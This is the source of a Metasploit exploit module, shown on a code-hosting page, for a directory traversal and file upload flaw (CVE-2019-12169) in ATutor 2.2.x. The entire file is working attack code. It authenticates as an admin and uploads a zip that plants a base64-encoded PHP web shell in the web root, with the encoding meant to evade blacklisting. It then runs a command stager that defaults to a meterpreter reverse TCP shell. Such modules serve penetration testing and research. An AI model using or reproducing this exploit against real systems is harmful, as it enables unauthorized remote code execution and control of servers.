Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/atutor_upload_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::CmdStager9include Msf::Exploit::FileDropper10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution, ',17'Description' => %q{18This module exploits an arbitrary file upload vulnerability together with19a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in20order to execute arbitrary commands.2122It first creates a zip archive containing a malicious PHP file. The zip23archive takes advantage of a directory traversal vulnerability that will24cause the PHP file to be dropped in the root server directory (`htdocs`25for Windows and `html` for Linux targets). The PHP file contains an26encoded payload that allows for remote command execution on the27target server. The zip archive can be uploaded via two vectors, the28`Import New Language` function and the `Patcher` function. The module29first uploads the archive via `Import New Language` and then attempts to30execute the payload via an HTTP GET request to the PHP file in the root31server directory. If no session is obtained, the module creates another32zip archive and attempts exploitation via `Patcher`.3334Valid credentials for an ATutor admin account are required. This module35has been successfully tested against ATutor 2.2.4 running on Windows 1036(XAMPP server).37},38'License' => MSF_LICENSE,39'Author' => [40'liquidsky (JMcPeters)', # PoC41'Erik Wynter' # @wyntererik - Metasploit42],43'References' => [44['CVE', '2019-12169'],45['URL', 'https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/'] # PoC46],47'Platform' => %w[linux win],48'Arch' => [ ARCH_X86, ARCH_X64 ],49'Targets' => [50[ 'Auto', {} ],51[52'Linux', {53'Arch' => [ARCH_X86, ARCH_X64],54'Platform' => 'linux',55'CmdStagerFlavor' => :printf,56'DefaultOptions' => {57'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'58}59}60],61[62'Windows', {63'Arch' => [ARCH_X86, ARCH_X64],64'Platform' => 'win',65'CmdStagerFlavor' => :vbs,66'DefaultOptions' => {67'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'68}69}70]71],72'Privileged' => true,73'DisclosureDate' => '2019-05-17',74'DefaultOptions' => {75'RPORT' => 80,76'SSL' => false,77'WfsDelay' => 3 # If exploitation via `Import New Language` doesn't work, wait this long before attempting exploiting via `Patcher`78},79'DefaultTarget' => 0,80'Notes' => {81'Stability' => [CRASH_SAFE],82'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],83'Reliability' => []84}85)86)8788register_options [89OptString.new('TARGETURI', [true, 'The base path to ATutor', '/ATutor/']),90OptString.new('USERNAME', [true, 'Username to authenticate with', '']),91OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),92OptString.new('FILE_TRAVERSAL_PATH', [false, 'Traversal path to the root server directory.', ''])93]94end9596def select_target(res)97unless res.headers.include? 'Server'98print_warning('Could not detect target OS.')99return100end101102# The ATutor documentation recommends installing it on a XAMPP server.103# By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below104# Apache probably supports more OS keys, which can be added to the array105target_os = res.headers['Server'].split('(')[1].split(')')[0]106107fail_with(Failure::NoTarget, 'Unable to determine target OS') unless target_os108109case target_os110when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'111@my_target = targets[1]112when 'Win32', 'Win64'113@my_target = targets[2]114else115fail_with(Failure::NoTarget, 'No valid target for target OS')116end117118print_good("Identified the target OS as #{target_os}.")119end120121def check122vprint_status('Running check')123res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))124125unless res126return CheckCode::Unknown('Connection failed')127end128129unless res.code == 302 && res.body.include?('content="ATutor')130return CheckCode::Safe('Target is not an ATutor application.')131end132133res = login134unless res135return CheckCode::Unknown('Authentication failed')136end137138unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')139return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')140end141142print_good("Successfully authenticated as user '#{datastore['USERNAME']}'. We have admin privileges!")143144ver_no = nil145html = res.get_html_document146info = html.search('dd')147info.each do |dd|148if dd.text.include?('Version')149/(?<ver_no>\d+\.\d+\.\d+)/ =~ dd.text150end151end152153@version = ver_no154unless @version && !@version.to_s.empty?155return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')156end157158@version = Rex::Version.new(@version)159unless @version <= Rex::Version.new('2.4')160return CheckCode::Unknown("Target is ATutor with version #{@version}.")161end162163CheckCode::Appears("Target is ATutor with version #{@version}.")164end165166def login167hashed_pass = Rex::Text.sha1(datastore['PASSWORD'])168@token = Rex::Text.rand_text_alpha_lower(5..8)169hashed_pass << @token170hash_final = Rex::Text.sha1(hashed_pass)171172res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))173return unless res174175res = send_request_cgi(176'method' => 'POST',177'uri' => normalize_uri(target_uri.path, 'login.php'),178'vars_post' =>179{180'form_login_action' => 'true',181'form_login' => datastore['USERNAME'],182'form_password' => '',183'form_password_hidden' => hash_final,184'token' => @token,185'submit' => 'Login'186}187)188189return unless res190191# from exploits/multi/http/atutor_sqli192if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/193@cookie = "ATutorID=#{Regexp.last_match(4)};"194else195@cookie = res.get_cookies196end197198redirect = URI(res.headers['Location'])199res = send_request_cgi({200'method' => 'GET',201'uri' => normalize_uri(target_uri.path, redirect),202'cookie' => @cookie203})204205res206end207208def patcher_csrf_token(upload_url)209res = send_request_cgi({210'method' => 'GET',211'uri' => upload_url,212'cookie' => @cookie213})214215unless res && (res.code == 200 || res.code == 302)216fail_with(Failure::NoAccess, 'Failed to obtain csrf token.')217end218219html = res.get_html_document220csrf_token = html.at('input[@name="csrftoken"]')221csrf_token = csrf_token['value'] if csrf_token222223max_file_size = html.at('input[@name="MAX_FILE_SIZE"]')224max_file_size = max_file_size['value'] if max_file_size225226unless csrf_token && csrf_token.to_s.strip != ''227csrf_token = @token # these should be the same because if the token generated by the module during authentication is accepted by the app, it becomes the csrf token228end229230unless max_file_size && max_file_size.to_s.strip != ''231max_file_size = '52428800' # this seems to be the default value232end233234return csrf_token, max_file_size235end236237def create_zip_and_upload(exploit)238@pl_file = Rex::Text.rand_text_alpha_lower(6..10)239@pl_file << '.php'240register_file_for_cleanup(@pl_file)241@header = Rex::Text.rand_text_alpha_upper(4)242@pl_command = Rex::Text.rand_text_alpha_lower(6..10)243# encoding is necessary to evade blacklisting on server side244@pl_encoded = Rex::Text.encode_base64("\r\n\t\r\n<?php echo passthru($_GET['#{@pl_command}']); ?>\r\n")245246if datastore['FILE_TRAVERSAL_PATH'] && !datastore['FILE_TRAVERSAL_PATH'].empty?247@traversal_path = datastore['FILE_TRAVERSAL_PATH']248elsif @my_target['Platform'] == 'linux'249@traversal_path = '../../../../../../var/www/html/'250else251# The ATutor documentation recommends Windows users to use a XAMPP server.252@traversal_path = '..\\..\\..\\..\\..\\../xampp\\htdocs\\'253end254255@traversal_path = "#{@traversal_path}#{@pl_file}"256257# create zip file258zip_file = Rex::Zip::Archive.new259zip_file.add_file(@traversal_path, "<?php eval(\"?>\".base64_decode(\"#{@pl_encoded}\")); ?>")260zip_name = Rex::Text.rand_text_alpha_lower(5..8)261zip_name << '.zip'262263post_data = Rex::MIME::Message.new264265# select exploit method266if exploit == 'language'267print_status('Attempting exploitation via the `Import New Language` function.')268upload_url = normalize_uri(target_uri.path, 'mods', '_core', 'languages', 'language_import.php')269270post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{zip_name}\"")271post_data.add_part('Import', nil, nil, 'form-data; name="submit"')272elsif exploit == 'patcher'273print_status('Attempting exploitation via the `Patcher` function.')274upload_url = normalize_uri(target_uri.path, 'mods', '_standard', 'patcher', 'index_admin.php')275276patch_info = patcher_csrf_token(upload_url)277csrf_token = patch_info[0]278max_file_size = patch_info[1]279280post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrftoken"')281post_data.add_part(max_file_size, nil, nil, 'form-data; name="MAX_FILE_SIZE"')282post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"patchfile\"; filename=\"#{zip_name}\"")283post_data.add_part('Install', nil, nil, 'form-data; name="install_upload"')284post_data.add_part('1', nil, nil, 'form-data; name="uploading"')285else286fail_with(Failure::Unknown, 'An error occurred.')287end288289res = send_request_cgi({290'method' => 'POST',291'uri' => upload_url,292'ctype' => "multipart/form-data; boundary=#{post_data.bound}",293'cookie' => @cookie,294'headers' => {295'Accept-Encoding' => 'gzip,deflate',296'Referer' => "http://#{datastore['RHOSTS']}#{upload_url}"297},298'data' => post_data.to_s299})300301unless res302fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')303end304305unless res.code == 200 || res.code == 302306fail_with(Failure::Unknown, 'Failed to upload the payload.')307end308print_status("Uploaded malicious PHP file #{@pl_file}.")309end310311def execute_command(cmd, _opts = {})312send_request_cgi({313'method' => 'GET',314'uri' => normalize_uri(@pl_file),315'cookie' => @cookie,316'vars_get' => { @pl_command => cmd }317})318end319320def exploit321res = login322if target.name == 'Auto'323select_target(res)324else325@my_target = target326end327328# There are two vulnerable functions, the `Import New Language` function and the `Patcher` function329# The module first attempts to exploit `Import New Language`. If that fails, it tries to exploit `Patcher`330create_zip_and_upload('language')331print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")332333if @my_target['Platform'] == 'linux'334execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')335else336execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])337end338sleep(wfs_delay)339340# The only way to know whether or not the exploit succeeded, is by checking if a session was created341unless session_created?342print_warning('Failed to obtain a session when exploiting `Import New Language`.')343create_zip_and_upload('patcher')344print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")345if @my_target['Platform'] == 'linux'346execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')347else348execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])349end350end351end352end353354355